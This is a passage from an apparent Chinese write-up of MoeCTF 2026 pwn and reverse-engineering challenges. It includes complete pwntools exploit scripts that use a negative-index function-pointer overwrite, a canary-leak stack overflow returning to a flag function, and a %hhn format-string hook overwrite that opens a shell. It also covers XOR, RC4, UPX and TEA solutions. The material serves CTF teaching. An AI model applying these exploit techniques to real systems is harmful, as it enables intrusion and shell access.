        if not c:
            break
        data += c
    return data


def main():
    s = socket.create_connection((HOST, PORT), timeout=10)
    recv_until(s, b'> ')

    #泄漏 ordinary_bell
    s.sendall(b'1\n')
    data = recv_until(s, b'> ')
    leak = int(re.search(rb'duty bell handler: (0x[0-9a-fA-F]+)', data).group(1), 16)
    staff_room = leak + STAFF_ROOM_OFF

    # 负索引 -1 覆盖函数指针
    s.sendall(b'2\n')
    recv_until(s, b'Which shelf slot should be updated?')
    s.sendall(b'-1\n')
    recv_until(s, b'What pickup code should be written there?')
    s.sendall(hex(staff_room).encode() + b'\n')
    recv_until(s, b'> ')

  #摇铃 -> staff_room -> /bin/sh
    s.sendall(b'3\n')
    time.sleep(0.5)

    #最后读 flag(无 PATH,用内建)
    s.sendall(b'read x < flag; echo $x\n')
    print(read_for(s, 2).decode(errors='replace'))
    s.close()


if __name__ == '__main__':
    main()

PIE 泄漏:程序自己 %p 打印函数指针,泄漏一次即可算基址。

这题简单一点。

校庆抽奖后台

学校的校庆为大家准备了抽奖环节,终极大奖是等身xxd手办,为了百分百抽到,你黑入了校庆抽奖后台,后台似乎仍保留着调试功能,该怎么做才能给自己直接抽到呢?

程序分析

64位程序,保护全开。

IDA分析:

main函数

找溢出点 & 白给泄漏(main):

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
int main() {
    __int64 v3;
    unsigned __int16 n0x100;          // 长度, 2 字节
    unsigned __int64 v6;              // canary

    v6 = __readfsqword(0x28u);
    setvbuf(stdin, 0, 2, 0);
    setvbuf(stdout, 0, 2, 0);
    alarm(0x1E);

    puts("=== Anniversary Lottery Admin Debug ===");
    v3 = stack_guard();               // 返回 fs:0x28 = 栈 canary
    printf("[trace] active record: %p :: 0x%016lx\n", award_jackpot, v3);
    //            ^^^^^^^^^^^^^^^^^^  ^^^^^^^^^^^^
    //            泄漏 award 地址(PIE)  泄漏 canary
    puts("[lottery] Submit a two-byte little-endian claim packet length.");
    puts("[lottery] Send claim packet:");
    read_exact(&n0x100, 2);           // 读 2 字节长度
    if (n0x100 && n0x100 <= 0x100)
        submit_claim(n0x100);
}

两个关键点:

  1. 程序主动泄漏了 canary 和 award_jackpot 地址。开了 PIE + canary 本来是难点,但这两个值全部白送 → 防护被拆掉。
    • %p → award_jackpot 地址 → 减偏移得 PIE 基址
    • 0x%016lx → stack_guard() 返回 fs:0x28 → 就是本进程的栈 canary
  2. 长度 n0x100 直接传给 submit_claim,成为实际读取字节数。

确认栈布局(submit_claim):

submit_claim函数

1
2
3
4
5
6
7
8
9
unsigned __int64 submit_claim(__int64 n0x100) {
    _QWORD p_n0x100[9];   // rbp-0x50, 72 字节缓冲区
    unsigned __int64 v3;  // rbp-0x8,  canary

    v3 = __readfsqword(0x28u);
    read_exact(p_n0x100, n0x100);   // 无边界, 最大读 0x100 字节 → 溢出
    puts("[lottery] Claim packet queued for verification.");
    return v3 - __readfsqword(0x28u);
}

反汇编 / 栈帧确认布局:

偏移 内容 说明
0 ~ 71 缓冲区 72B 填充
72 ~ 79 canary 必须恢复,否则 __stack_chk_fail
80 ~ 87 saved rbp 任意值
88 ~ 95 返回地址 改写成 award_jackpot

award_jackpot函数:0x1330

这是一个标准的"读 flag 后门"函数 ,目标是劫持控制流到 award_jackpot。

利用思路:

1
2
3
4
5
6
7
[泄漏]  award_jackpot 地址 + canary
   ↓
[溢出]  read_exact 读入 128 字节, 覆盖到返回地址
   ↓
[劫持]  leave; ret 跳进 award_jackpot
   ↓
[输出]  open("/flag") -> read -> write(1, ...)  打印 flag

注意:返回地址只需单个 award_jackpot 即可。虽然 ret 进入函数时 rsp 可能不对齐,但 award_jackpot 内部用的 open/read/write/close 都是系统调用,不依赖 SSE 对齐(movaps),不会崩。

EXP

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
from pwn import *
context(os="linux", arch="amd64", log_level="debug")

AWARD_OFF = 0x1330   # award_jackpot 函数地址偏移


def exploit():
    io = remote("127.0.0.1", 10815)

    # main 用 printf 泄漏了 award_jackpot 地址(PIE 基址)和栈 canary
    io.recvuntil(b"[trace] active record: ")
    line = io.recvline().strip().decode()
    award_leak, canary_leak = line.split(" :: ")
    base = int(award_leak, 16) - AWARD_OFF
    canary = int(canary_leak, 16)

    # submit_claim 的 72 字节缓冲区无边界读: canary 在偏移 72, 返回地址在偏移 88
    payload = b"A" * 72 + p64(canary) + b"B" * 8 + p64(base + AWARD_OFF)
    payload = payload.ljust(128, b"D")

    # 长度字节就是要读入的字节数, 128 足够覆盖到返回地址
    io.recvuntil(b"[lottery] Send claim packet:")
    io.send(p16(128) + payload)
    return io


# 远程转发层偶尔丢包(数据传不完整, 程序静默退出), 所以重试直到打出 flag
for attempt in range(30):
    io = exploit()
    data = io.recvrepeat(timeout=1)
    io.close()
    if b"Jackpot" in data:
        print(data.decode(errors="replace"))
        break
    print(f"[attempt {attempt}] failed, retrying...")

外卖补贴

活干完了 看看哪些关注的UP在直播

“某团,某宝闪购搜索114514 爽吃爽喝”

什么!这家伙也能接上广子了!我也来接一个试试

程序分析

可以了解一下FMT前置知识。

开局先checksec查看保护机制,PIE + Partial RELRO + 无 canary。

看到这个main函数长这样我就知道不简单:

这是 IDA 自动生成的哑变量名,不是源码,是反编译特征,原程序被 strip 符号表,没有调试符号,函数局部变量没有原始名字,IDA Pro 找不到原始 C 源码变量名,自动生成一长串随机乱码名字,说实话,我蛮久没见过这样了,我还以为程序是用另外一种编程语言写的。(之前碰到的rust语言写的二进制程序给我整崩溃了,有点阴影...)

找到了个格式化字符串漏洞FMT:

经过进一步代审后得知,这是格式化字符串漏洞题。preview_slogan 直接 printf(slogan),而 publish_hook(全局函数指针,初值 homepage_channel=0x12d8)在 case 3 被调用。

FMT是用赖泄露一些数据内容的比如canary值、key、ELF和Libc基址这些。

这一题大致思路就是:

  1. 用格式化字符串泄漏 PIE 基址。
  2. 用 %hhn 把 publish_hook 低字节从 0xd8 改成 0xf7(因为 0x12d8 → 0x12f7 只差低字节,高字节 0x12 不变)。
  3. case 3 触发 publish_hook → director_channel → shell。

本地运行调试,slogan buffer 在 main 栈上(rbp-0x210)。用 %10$p|%11$p... 探测发现:

  • %9$p = main 的返回地址(base + 0x1670)→ 泄漏基址。
  • %10$p 起 = slogan buffer 内容(每个 %p 读 8 字节)。

所以 buffer 从第 10 个位置参数开始。

写payload:

要写 0xf7(=247)到 publish_hook(= base + 0x40b0)。用 %hhn(单字节写),地址放在 payload 尾部、按 8 字节对齐:

1
2
3
buffer[0:12]  = "%247c%12$hhn"   # 打印 247 个字符,把 0xf7 写到 arg12 指向的地址
buffer[12:16] = "AAAA"           # 对齐填充
buffer[16:24] = p64(publish_hook)  # arg12 = 目标地址

%247c 使已打印字符数为 247(0xf7),%12$hhn 取第 12 个参数(buffer[16:24])作为地址写入。

地址的 \x00 高位字节在 %hhn 之后才被 printf 读到,不影响写入。

EXP

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
from pwn import *

context.log_level = 'debug'
context.arch = 'amd64'

io = remote('127.0.0.1', 10506)

RET_OFF  = 0x1670   # %9$p 泄漏的 main 返回地址偏移
homepage = 0x12d8   # publish_hook 初值
director = 0x12f7   # director_channel: execve("/bin/sh","-p")
HOOK_OFF = 0x40b0   # publish_hook 偏移

def submit(payload):
    io.sendlineafter(b'> ', b'1')
    io.sendlineafter(b'How long is this campaign line?', str(len(payload)).encode())
    io.sendafter(b'Drop your campaign line here:', payload)

def preview():
    io.sendlineafter(b'> ', b'2')
    return io.recvuntil(b'> ')

submit(b'%9$p')
out = preview()
leak = int(re.search(rb'0x[0-9a-fA-F]+', out).group(0), 16)
base = leak - RET_OFF
hook = base + HOOK_OFF
log.success('leak=%#x  base=%#x  publish_hook=%#x' % (leak, base, hook))

payload = b'%247c%12$hhn' + b'AAAA' + p64(hook)
submit(payload)
preview()

io.sendlineafter(b'> ', b'3')
io.sendline(b'read x < flag; echo $x')
io.interactive()

软件逆向工程

逆向工程入门指北

欢迎来到 MoeCTF 2026 Reverse!请先阅读附件中的入门指北(reverseru_men_zhi_bei_2026.pdf),然后尝试逆向,找到附件 chall1 中的 flag!

面向零基础的新生,我们提供了一个 MoeCTF逆向工程指北.exe (MoeCTF.RE.Tutorial.exe)

它是一份课程平台,会通过交互式的方式手把手带你从0开始学习实践逆向工程。

目前发布的课程是:

  • 入门指北(从介绍工具开始,一步步带你把 chall1 逆向出来)

课程平台本身具有内容更新功能,随着时间推进,后续还会发布更多课程,敬请期待哦~

Tips: 不知道在哪可以下载工具的话,也许 MoeCTF.RE.Tools.7z 可以帮到你?

IDA打开flag撞脸:

moectf{C0ngr4tuLati0N_On_find1n9_your_1st_RE_f1aggggg!!!}

Assembly

什么是汇编语言(Assembly Language)?什么是 add, mov, jne, loop?什么是寄存器?

阅读这一段 x86_64 风格的汇编代码,学习各种指令,并找到正确的 flag!

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
; x86-64, Intel syntax
; rdi points to output buffer

start:
    lea     rdi, [buf]

    lea     rsi, [byte_404000]
    mov     ecx, 25

loc_401000:
    mov     al, byte ptr [rsi]
    mov     byte ptr [rdi], al
    inc     rsi
    inc     rdi
    loop    loc_401000

    mov     eax, 0x2a
    add     eax, 0x16
    cmp     eax, 0x40
    jne     loc_401080

    mov     ebx, 0x10
    shl     ebx, 2
    cmp     eax, ebx
    jne     loc_401080

    mov     ecx, 0x39
    sub     ecx, 0x20
    cmp     ecx, 0x18
    jg      loc_401050

    jmp     loc_401080

loc_401050:
    lea     rsi, [byte_404020]
    mov     ecx, 15

loc_401060:
    mov     al, byte ptr [rsi]
    xor     al, 0x42
    mov     byte ptr [rdi], al
    inc     rsi
    inc     rdi
    loop    loc_401060

    jmp     loc_4010b0

loc_401080:
    lea     rsi, [byte_404030]
    mov     ecx, 9

loc_401090:
    mov     al, byte ptr [rsi]
    mov     byte ptr [rdi], al
    inc     rsi
    inc     rdi
    loop    loc_401090

loc_4010b0:
    mov     byte ptr [rdi], 0
    ret


byte_404000:
    db 0x6d, 0x6f, 0x65, 0x63, 0x74, 0x66, 0x7b
    db 0x41, 0x73, 0x73, 0x65, 0x6d, 0x62, 0x31, 0x79
    db 0x5f, 0x4c, 0x34, 0x6e, 0x67, 0x75, 0x61, 0x67, 0x65, 0x5f

byte_404020:
    db 0x73, 0x11, 0x1d, 0x21, 0x2d
    db 0x72, 0x2d, 0x72, 0x0d, 0x2d
    db 0x2d, 0x2e, 0x63, 0x63, 0x3f

byte_404030:
    db 0x63, 0x6f, 0x72, 0x72, 0x65, 0x63, 0x74, 0x21, 0x7d

buf:
    db 64 dup(0)

程序分析与解题过程

分析汇编:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
start:
    lea rdi, [buf]
    lea rsi, [byte_404000]      ; ① 直接拷 25 字节明文
    mov ecx, 25                 ;    → "moectf{Assemb1y_L4nguage_"

    mov eax, 0x2a
    add eax, 0x16               ; eax = 0x40 (64)
    cmp eax, 0x40               ; 64 == 64  ✓ 不跳
    jne loc_401080

    mov ebx, 0x10
    shl ebx, 2                  ; ebx = 64
    cmp eax, ebx                ; 64 == 64  ✓ 不跳
    jne loc_401080

    mov ecx, 0x39
    sub ecx, 0x20               ; ecx = 25
    cmp ecx, 0x18               ; 25 > 24  ✓ 跳走
    jg  loc_401050              ; → 走 XOR 分支
    jmp loc_401080

一段 x86-64 汇编,把数据拼接/解密写入 buf,最终得到的字符串就是 flag。

  • 前面两段 cmp/jne 都是恒等比较,不会跳到 loc_401080。
  • ecx = 0x39 - 0x20 = 25,cmp 25, 0x18 后 jg 满足条件,进入 loc_401050。
  • 因此走的是 XOR 0x42 解密分支,byte_404030("correct!}")那个 fallback 不执行。

共 25 字节,直接拷贝进 buf。

明文 25 字节 (byte_404000):

1
2
3
4
byte_404000:
    db 0x6d, 0x6f, 0x65, 0x63, 0x74, 0x66, 0x7b
    db 0x41, 0x73, 0x73, 0x65, 0x6d, 0x62, 0x31, 0x79
    db 0x5f, 0x4c, 0x34, 0x6e, 0x67, 0x75, 0x61, 0x67, 0x65, 0x5f

6d 6f 65 63 74 66 7b → moectf{

41 73 73 65 6d 62 31 79 → Assemb1y

5f 4c 34 6e 67 75 61 67 65 5f → _L4nguage_

解密 15 字节 (byte_404020, XOR 0x42):

1
2
3
4
byte_404020:
    db 0x73, 0x11, 0x1d, 0x21, 0x2d
    db 0x72, 0x2d, 0x72, 0x0d, 0x2d
    db 0x2d, 0x2e, 0x63, 0x63, 0x3f
密文 ^0x42 明文
0x73 → 1
0x11 → S
0x1d → _
0x21 → c
0x2d → o
0x72 → 0
0x2d → o
0x72 → 0
0x0d → O
0x2d → o
0x2d → o
0x2e → l
0x63 → !
0x63 → !
0x3f → }

→ 1S_co0o0Oool!!}

最终合并成moectf{Assemb1y_L4nguage_1S_co0o0Oool!!}

最后的 mov byte ptr [rdi], 0 只是写入字符串结尾的 \0,不改变内容。

bbxor

小 D 在参加某知名网络安全比赛时,遇到了一道名为 bbjv 的题目,可是他苦思冥想了好久都没有做出来。赛后他发誓,再也不相信任何前缀为 bb 的题目了。

那么聪明的你,能否解决这道 bbxor 呢:)

程序分析

main函数

看题目提示给的是XOR异或题。

程序逻辑很直白:读入 36 个整数,逐个做 x ^ 0x66,与内存里的 cipher 数组比对,全对就输出 yes。

其实你只需取出 cipher 数组的 36 个值,逐个异或 0x66 还原出"明文"即可。

看回main函数,最关键那一行就是(v4[i] ^ 0x66) != cipher[i]

异或可交换,等价于 v4[i] != cipher[i] ^ 0x66。也就是说明文字节 = cipher[i] XOR 0x66,其中 0x66 就是 ASCII 的 'f'。

1
2
3
4
5
xor eax, 66h          ; eax = v4[i] ^ 0x66
...
lea rax, cipher       ; cipher 数组基址 = 0x404040
cmp ecx, eax          ; 比较
jz loc_401207         ; 相等则继续,否则输出 "no"

main 读 36 个整数,逐个检查 (输入[i] ^ 0x66) == cipher[i],所以输入 = cipher[i] ^ 0x66,结果就是 ASCII 组成的 flag。从 .data 读出 cipher(0x404040 起 36 个 int)逐位解。

cipher 数组位于 .data 段 0x404040,是 36 个 DWORD(小端)。用 IDA 读出:

1
2
3
4
地址       值(hex)
0x404040  0b 09 03 05 12 00 1d 24 52 15 0f 05
0x40404c  39 1e 56 14 39 05 0e 07 57 0a 03 08
0x404058  01 03 39 15 09 0a 10 03 02 47 47 1b

即 36 个十进制值:

1
2
11 9 3 5 18 0 29 36 82 21 15 5 57 30 86 20 57 5
14 7 87 10 3 8 1 3 57 21 9 10 16 3 2 71 71 27

对每个 cipher[i] 做 ^ 0x66,得到明文字符:

i cipher ^0x66 字符 i cipher ^0x66 字符
0 0x0b 0x6d m 18 0x0e 0x68 h
1 0x09 0x6f o 19 0x07 0x61 a
2 0x03 0x65 e 20 0x57 0x31 1
3 0x05 0x63 c 21 0x0a 0x6c l
4 0x12 0x74 t 22 0x03 0x65 e
5 0x00 0x66 f 23 0x08 0x6e n
6 0x1d 0x7b { 24 0x01 0x67 g
7 0x24 0x42 B 25 0x03 0x65 e
8 0x52 0x34 4 26 0x39 0x5f _
9 0x15 0x73 s 27 0x15 0x73 s
10 0x0f 0x69 i 28 0x09 0x6f o
11 0x05 0x63 c 29 0x0a 0x6c l
12 0x39 0x5f _ 30 0x10 0x76 v
13 0x1e 0x78 x 31 0x03 0x65 e
14 0x56 0x30 0 32 0x02 0x64 d
15 0x14 0x72 r 33 0x47 0x21 !
16 0x39 0x5f _ 34 0x47 0x21 !
17 0x05 0x63 c 35 0x1b 0x7d }

注意第 20 位:cipher[20] = 0x57,0x57 ^ 0x66 = 0x31 = '1'(ASCII 数字一), 所以这里是 cha1lenge,不是 challenge —— 这是我觉得题目中存在的一个"坑点",注意别漏了那个 1。

拼得moectf{B4sic_x0r_cha1lenge_solved!!}

其实可以验证的,把还原出的 36 个 ASCII 值(即程序要求输入的整数)喂给原程序:

1
echo "109 111 101 99 116 102 123 66 52 115 105 99 95 120 48 114 95 99 104 97 49 108 101 110 103 101 95 115 111 108 118 101 100 33 33 125" | ./re

程序返回 yes,证明这组输入就是程序期望的正确解。

反方向的 RC4

RC4 喵,是一种对称加密算法喵,加密和解密都使用相同的密钥喵。

这道题目喵,需要动态调试喵。在合适的地方下断点喵,然后运行程序喵,就能看到 flag 喵。可以使用 gdb 喵,也可以 IDA 搭配 linux server 喵,喵喵喵。

程序分析

IDA分析,main函数:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
int main() {
    char s[32];   // rbp-0x20
    char s_[32];  // rbp-0x40

    memset(s, 0, 0x15u);
    memset(s_, 0, 0x14u);
    printf("Input something: ");
    fgets(s, 21, stdin);  // 读入的输入 s 之后根本没被使用
    init_cipher(s_);    // 把 g_cipher 的 20 字节拷到 s_
    rc4_crypt(s_, 20, "Th1S_1s_secret~!", 16); // 对 s_ 做 RC4
    puts("Done.");
    return 0;
}

注意:程序读完输入后没有对输入做任何校验,而是直接把静态的 g_cipher 拷贝出来做 RC4 加密。所以期望的"正确输入"其实就藏在 g_cipher 里。

init_cipher函数:

rc4_crypt函数:

rc4_crypt(s, n20, key, n16) 是标准 RC4:

  1. S 盒初始化为 S[i] = i
  2. 用 key("Th1S_1s_secret~!",16 字节)做 KSA 打乱 S 盒
  3. 对 s 缓冲区的 n20 = 20 个字节做 PRGA,逐字节异或输出

RC4 加密与解密是同一个操作(都是异或同一段密钥流),因此:期望明文 = RC4(key, g_cipher)

全局数据:g_key(0x402010)= "Th1S_1s_secret~!"、g_cipher(0x402030)

EXP

g_cipher(0x402030)的 20 字节:

1
b2 24 24 03 e3 b4 41 62 11 f3 8a 28 a0 71 9b be 27 46 19 a9

用标准 RC4(key = Th1S_1s_secret~!)解密:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
def rc4(key, data):
    S = list(range(256))
    j = 0
    for i in range(256):
        j = (j + S[i] + key[i % len(key)]) & 0xFF
        S[i], S[j] = S[j], S[i]
    i = j = 0
    out = bytearray()
    for byte in data:
        i = (i + 1) & 0xFF
        j = (j + S[i]) & 0xFF
        S[i], S[j] = S[j], S[i]
        out.append(byte ^ S[(S[i] + S[j]) & 0xFF])
    return bytes(out)

g_cipher = bytes.fromhex("b2 24 24 03 e3 b4 41 62 11 f3 8a 28 a0 71 9b be 27 46 19 a9")
print(rc4(b"Th1S_1s_secret~!", g_cipher))

flag:moectf{OH~Dyn4mic!}

flag 内容 "OH~Dyn4mic!" 暗示原题中密钥/密文可能是运行时动态生成的,但静态分析下 RC4 单表即可还原。

Ultra Potato Xplosion

超级土豆大爆炸

程序分析

开局加壳:

下载脱壳Releases · upx/upx。

EXP

奇怪的 APP

这个 apk 安装后怎么怪怪的,怎么什么内容都没有。用 jadx 打开看看呢,也许走两步 flag 就掉出来了吧吧吧吧吧

程序分析

也就是用jadx代审而已,找一找可疑字符串,难度不会太大。

Base64 解码: RXYzcnNlXzFz → Ev3rse_1s

Z2hUPyEhIX0= → 解码:ghT?!!_}

bW9lY3Rme0Fwa19S → moectf{Apk_R

最终flag:moectf{Apk_REv3rse_1s_fuN_r1ghT?!!!}

请你喝茶

fanchai 请你喝茶!请根据对 chall6 的逆向分析结果,完善 tea6solve.c 解密脚本。

程序分析

tea6solve.c

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
#include <stdio.h>
/**
 * @brief 这是一个简短的 TEA 解密指南,依据 IDA 反编译的结果,
 *        正确填充代码中的空缺处,运行后就可以获得 flag!
 * 
 * @attention 请先移步 main 函数,阅读此题拆解!
 */

#define uint unsigned int

/**
 * @brief TEA 解密一个 64 位数据块
 *
 * @param cipher 待解密数据(2×32 bit)
 * @param key    128 位密钥(4×32 bit)
 * @param delta  常量值
 */
void tea_decrypt(uint cipher[2], uint key[4])
{
    /**
     * @brief 解密是加密的逆过程。如果我们已知最终的密文,
     *        并可以通过某种方式恢复上一轮的状态,
     *        那么一直恢复到最初状态,就可以得到明文。
     *        在此例中,加密的逻辑是这样的:
     *     -> 先将 delta 减去 1640531527(或为加上 0x9E3779B9)
     *     -> 更新 cipher[0]
     *     -> 更新 cipher[1]
     *     -> 重复以上操作,循环 32 次
     *        由于更新某一个数据时,另外两个数据和密钥的值都是固定的,
     *        于是在解密时,我们只需要:
     *     -> 反向更新 cipher[1]
     *     -> 反向更新 cipher[0]
     *     -> 将 delta 加上 1640531527(或为减去 0x9E3779B9)
     *     -> 重复以上操作,循环 32 次
     * 
     * @attention 根据 IDA 反编译展示的逻辑,修改下面代码中填 0x0 的部分。 
     */
    uint delta = -1640531527 * 32;

    for(int i = 1; i <= 32; i++)
    {
        cipher[1] -= (cipher[0] + delta) ^ (16 * cipher[0] + key[2]) ^ 0x0;
        cipher[0] -= 0x0 ^ 0x0 ^ 0x0;
        delta += 1640531527;
    }
}

/**
 * @brief XTEA 解密一个 64 位数据块
 *
 * @param cipher 待解密数据(2×32 bit)
 * @param key    128 位密钥(4×32 bit)
 * @param delta  常量值
 */
void xtea_decrypt(uint cipher[2], uint key[4])
{
    /**
     * @brief 这里的反编译可能会出现 *(_DWORD *)。
     *        不用害怕,以 (4LL * (v4 & 3) + xtea_key_address) 为例,
     *        由于 uint 的存储空间为 4 字节,乘上几个 4 就代表偏移量是几。
     * 
     * @attention 根据 IDA 反编译的结果,修改下面代码中填 0x0 的部分。
     */
    uint delta = 0x0;

    for(int i = 1; i <= 32; i++)
    {
        cipher[1] -= 0x0 ^ (key[(delta >> 11) & 3] + delta);
        delta += 0x0;
        cipher[0] -= 0x0 ^ 0x0;
    }
}

int main()
{
    /**
     * @brief 你看懂 main 函数的逻辑了吗?
     *        本题分为两个加密部分:
     *        第一,tea_encrypt 函数对 flag 前 16 字节进行加密。
     *        第二,xtea_encrypt 函数对 flag 后 16 字节进行加密。
     *        密文分别存储在 tea_cipher 和 xtea_cipher 中。
     * 
     * @attention 让我们先来解密 tea_encrypt 部分!
     *            请双击 check_tea_part 函数,找到这部分的密文以及密钥。
     */

     /**
      * @brief 密文数组由 4 个 32 位无符号整数构成。
      * 
      * @attention 双击 tea_cipher,填充以下数据!我已经帮你填好一个了。
      */
    uint cipher1[4] = {
        0xB3E7E33E,
        0x0,
        0x0,
        0x0
    };
    /**
     * @brief 密钥数组同样由 4 个 32 位无符号整数构成。
     *        双击 get_tea_key_address,再双击 tea_key,填充...
     *        等一下,我的 32 位整数呢?!实际上,呈现在你面前的 16 字节,
     *        是密钥数组在内存中原始的存储形式。按每四个字节划分,
     *        就可以得到 4 个密钥。那么,第一个密钥是 0x78563412 吗?
     *        并不是!x86-64 机器一般采用小端序存储。记住一点:
     *        低位字节存储在低地址,高位字节存储在高地址。因此,
     *        第一个密钥应该是 0x12345678。
     * 
     * @attention 完成剩下的填充!
     */
    uint key1[4] = {
        0x12345678,
        0x0,
        0x0,
        0x0
    };
    /**
     * @brief 加密算法 TEA 要求加密密钥为 128 比特,密文块分组长度为 64 比特。
     *        这里密文长度为 128 比特,因此要分为两个块分别加密。
     * 
     * @attention 请移步 tea_decrypt 函数,完成解密逻辑编写!
     */
    tea_decrypt(cipher1, key1);
    tea_decrypt(cipher1 + 2, key1);

    /**
     * @brief 祝贺你成功完成第一部分的解密!第二部分是 xtea 解密,
     *        整体思路和 tea 差不多,不过在加密流程中有些许出入。
     * 
     * @attention 填充对应密文。
     */
    uint cipher2[4] = {
        0x60EC68AB,
        0x0,
        0x0,
        0x0
    };
    /**
     * @attention 填充对应密钥。注意:别忘记小端序!
     */
    uint key2[4] = {
        0xDEADBEEF,
        0x0,
        0x0,
        0x0
    };
    /**
     * @attention 移步 xtea_decrypt,继续完成解密逻辑编写。
     */
    xtea_decrypt(cipher2, key2);
    xtea_decrypt(cipher2 + 2, key2);
    /**
     * @attention 补全所有部分后,运行程序。如果解密正确,就能看到输出的 flag 啦!
     */
    printf("%.16s%.16s\n", (char *)cipher1, (char *)cipher2);

    return 0;
}

这个 tea6solve.c 是一份填空版的 TEA/XTEA 解密脚本

对于chall文件:

main函数读入 32 字节 flag,前 16 字节走 check_tea_part,后 16 字节走check_xtea_part。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
int main()
{
  char s[32];
  ...
  fwrite("Input your flag: ", 1u, 0x11u, stdout);
  if ( fgets(s, 34, stdin) )
  {
    n32 = strcspn(s, "\r\n");
    s[n32] = 0;
    if ( n32 == 32 && check_tea_part(s) && check_xtea_part(s + 16) )
      puts("Correct!");
    else
      puts("Wrong!");
  }
  ...
}

flag 必须是 32 个可见字符。

check_tea_part函数

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
_BOOL8 check_tea_part(__int64 a1)
{
  tea_key_address = get_tea_key_address();          // &tea_key

  tea_cipher     = load32_le(a1);      // 第 1 块
  v3             = load32_le(a1 + 4);
  tea_cipher_1   = load32_le(a1 + 8);  // 第 2 块
  n347259689     = load32_le(a1 + 12);

  tea_encrypt(&tea_cipher, tea_key_address);   // 块 1
  tea_encrypt(&tea_cipher_1, tea_key_address); // 块 2

  if ( tea_cipher != ::tea_cipher )  return 0;
  if ( v3 != -1273936270 )           return 0;
  if ( tea_cipher_1 == -1912042484 )
    return n347259689 == 347259689;
  return 0;
}

密文被拆分:一部分在全局 tea_cipher(0x402030),其余以"有符号立即数"形式直接写在比较里。把负数转回无符号 32 位:

密文字段 有符号值 无符号(补码)
块1[0] 全局 tea_cipher 0xB3E7E33E
块1[1] -1273936270 0xB4114672
块2[0] -1912042484 0x8E088C0C
块2[1] 347259689 0x14B2C329

例:-1273936270 + 2^32 = 0xB4114672

check_xtea_part函数

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
_BOOL8 check_xtea_part(__int64 a1)
{
  xtea_key_address = get_xtea_key_address();       // &xtea_key

  xtea_cipher   = load32_le(a1);      // 第 1 块
  v4            = load32_le(a1 + 4);
  xtea_cipher_1 = load32_le(a1 + 8);  // 第 2 块
  v6            = load32_le(a1 + 12);

  xtea_encrypt(&xtea_cipher, xtea_key_address);   // 块 1
  xtea_encrypt(&xtea_cipher_1, xtea_key_address); // 块 2

  if ( xtea_cipher != ::xtea_cipher )  return 0;
  if ( v4 != -1811787314 )             return 0;
  if ( xtea_cipher_1 == -1272491188 )
    return v6 == -549235690;
  return 0;
}
密文字段 有符号值 无符号(补码)
块1[0] 全局 xtea_cipher 0x60EC68AB
块1[1] -1811787314 0x940251CE
块2[0] -1272491188 0xB427534C
块2[1] -549235690 0xDF435416

接下来就是密钥提取,用 IDA 读取两个全局密钥的原始字节:

1
2
tea_key  @0x402010: 78 56 34 12 | 21 43 65 87 | 68 24 57 13 | 57 13 68 24
xtea_key @0x402020: ef be ad de | be ba fe ca | 44 33 22 11 | 88 77 66 55

x86-64 小端存储:低位字节在低地址。因此每 4 字节要倒序成 DWORD:

1
2
tea_key  = { 0x12345678, 0x87654321, 0x13572468, 0x24681357 }
xtea_key = { 0xDEADBEEF, 0xCAFEBABE, 0x11223344, 0x55667788 }

原始字节 78 56 34 12 → 小端 DWORD 0x12345678

tea_encrypt函数

推导 TEA 解密。

这是标准 TEA。加密时 sum 每轮减去 1640531527,共 32 轮,最终 sum = -1640531527 * 32。

解密 = 完全逆序:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
void tea_decrypt(uint cipher[2], uint key[4])
{
    uint delta = -1640531527 * 32;   // 最终 sum,作为解密起点
    for(int i = 1; i <= 32; i++)
    {
        // 先反向更新后更新的 cipher[1](用 key[2], key[3])
        cipher[1] -= (cipher[0] + delta) ^ (16 * cipher[0] + key[2]) ^ ((cipher[0] >> 5) + key[3]);
        // 再反向更新 cipher[0](用 key[0], key[1])
        cipher[0] -= (cipher[1] + delta) ^ (16 * cipher[1] + key[0]) ^ ((cipher[1] >> 5) + key[1]);
        delta += 1640531527;   // sum 每轮往回加
    }
}

xtea_encrypt函数

推导 XTEA 解密。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
__int64 xtea_encrypt(unsigned int *p, __int64 key_addr)
{
  v6 = *p;
  v5 = p[1];
  v4 = 0;                            // sum
  for ( n = 0; n <= 0x1F; ++n )      // 32 轮
  {
    v6 += (((v5 >> 5) ^ (16 * v5)) + v5)
        ^ (*(_DWORD *)(4LL * (v4 & 3) + key_addr) + v4);   // key[sum & 3]
    v4 -= 1640531527;                                        // sum -= delta
    v5 += (((v6 >> 5) ^ (16 * v6)) + v6)
